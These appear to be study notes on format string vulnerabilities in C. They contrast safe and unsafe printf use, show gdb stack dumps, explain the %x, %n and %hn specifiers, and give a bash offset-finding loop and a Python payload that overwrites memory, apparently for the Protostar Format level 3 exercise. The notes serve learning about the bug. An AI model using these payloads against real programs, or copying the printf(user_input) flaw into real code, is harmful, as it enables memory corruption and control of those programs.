#include <stdio.h>
int main(){
char a[100];
puts("Enter your name:");
scanf("%s",a);
printf("%s",a);
puts("\nbye");
return 0;
}
#include <stdio.h>
int main(){
char a[100];
puts("Enter your name:");
scanf("%s",a);
printf(a);
puts("\nbye");
return 0;
}
The major difference between the two code is passing of user input directly into the printf function.Variable a is passed to printf which is a user input and it can't be trusted. So if passed with some format strings then the value from the stack would be popped and leaked to the user requesting it.
[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0x8048651 --> 0xa007325 ('%s')
0004| 0xffffcf24 --> 0xffffcf38 ("AABB")
0008| 0xffffcf28 --> 0xf7fd0410 --> 0x80482b8 ("GLIBC_2.0")
0012| 0xffffcf2c --> 0x804851d (<main+23>: add ebx,0x1ae3)
0016| 0xffffcf30 --> 0x0
0020| 0xffffcf34 --> 0x1
0024| 0xffffcf38 ("AABB")
0028| 0xffffcf3c --> 0x0
[------------------------------------------------------------------------------]
[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 --> 0xffffcfd8 --> 0xf7007825
0004| 0xffffcfc4 --> 0xffffcfd8 --> 0xf7007825
0008| 0xffffcfc8 --> 0xf7fd0410 --> 0x80482b8 ("GLIBC_2.0")
0012| 0xffffcfcc --> 0x804851d (<main+23>: add ebx,0x1ae3)
0016| 0xffffcfd0 --> 0x0
0020| 0xffffcfd4 --> 0x1
0024| 0xffffcfd8 --> 0xf7007825
0028| 0xffffcfdc --> 0xc2
[------------------------------------------------------------------------------]
printf manages a character pointer [CP] and an argument pointer[AP]. CP points to the first character in the format string and AP is pointer towards the first argument on stack.
If character pointer encounters any % sign followed by any format string char then the argument pointer is increased by one and is now pointing to a different location in stack.
Resource: https://www.youtube.com/watch?v=y5kcaqKYlqI&list=PLyqSpQzTE6M-q0Xgn0icEHvUS7WQxvenv&index=20
The following bash script can help us find the correct offset of our input on the stack.
for i in {1..50};do echo $1; echo $(python -c "print '$i \n AAAAAAAA.%$i\$x'") | ./binary; echo; done
-
Reading ith element on the stack
%10$x
: Will print the 10th element on stack in hexadecimal format. -
%n
will write the number of bytes written so far to the argument variable. -
%60d
will add padding to the string if required in some cases. -
%4$n
will write the bytes to the 4th argument on the stack which ideally should be a location to a variable. -
%hn
will write 2 bytes to the supplied variable.
Source : Format Level 3 from protostar.
Let's say we have a target variable at address 0x080496f4
, then can can use %hn
modifier to modify two bytes at a time.
In theory it will work like, put the address of last two bytes then the significant bytes and add padding using width modifier such as %nd
which will write n
number of spaces and then invoke hn
modifier to write the number of printed character to the address.
One such exploit would look like:
import struct
payload = ""
payload += struct.pack("<I", 0x80496f6) # address of top two bytes
payload += struct.pack("<I",0x80496f4)# address of least significant bytes
payload += "%250d%12$hn" # padding 250 and then write to 12th arg on stack
payload += "%21570d%13$hn"# padding of 21570 and then writing the result to 13th arg on stack
print payload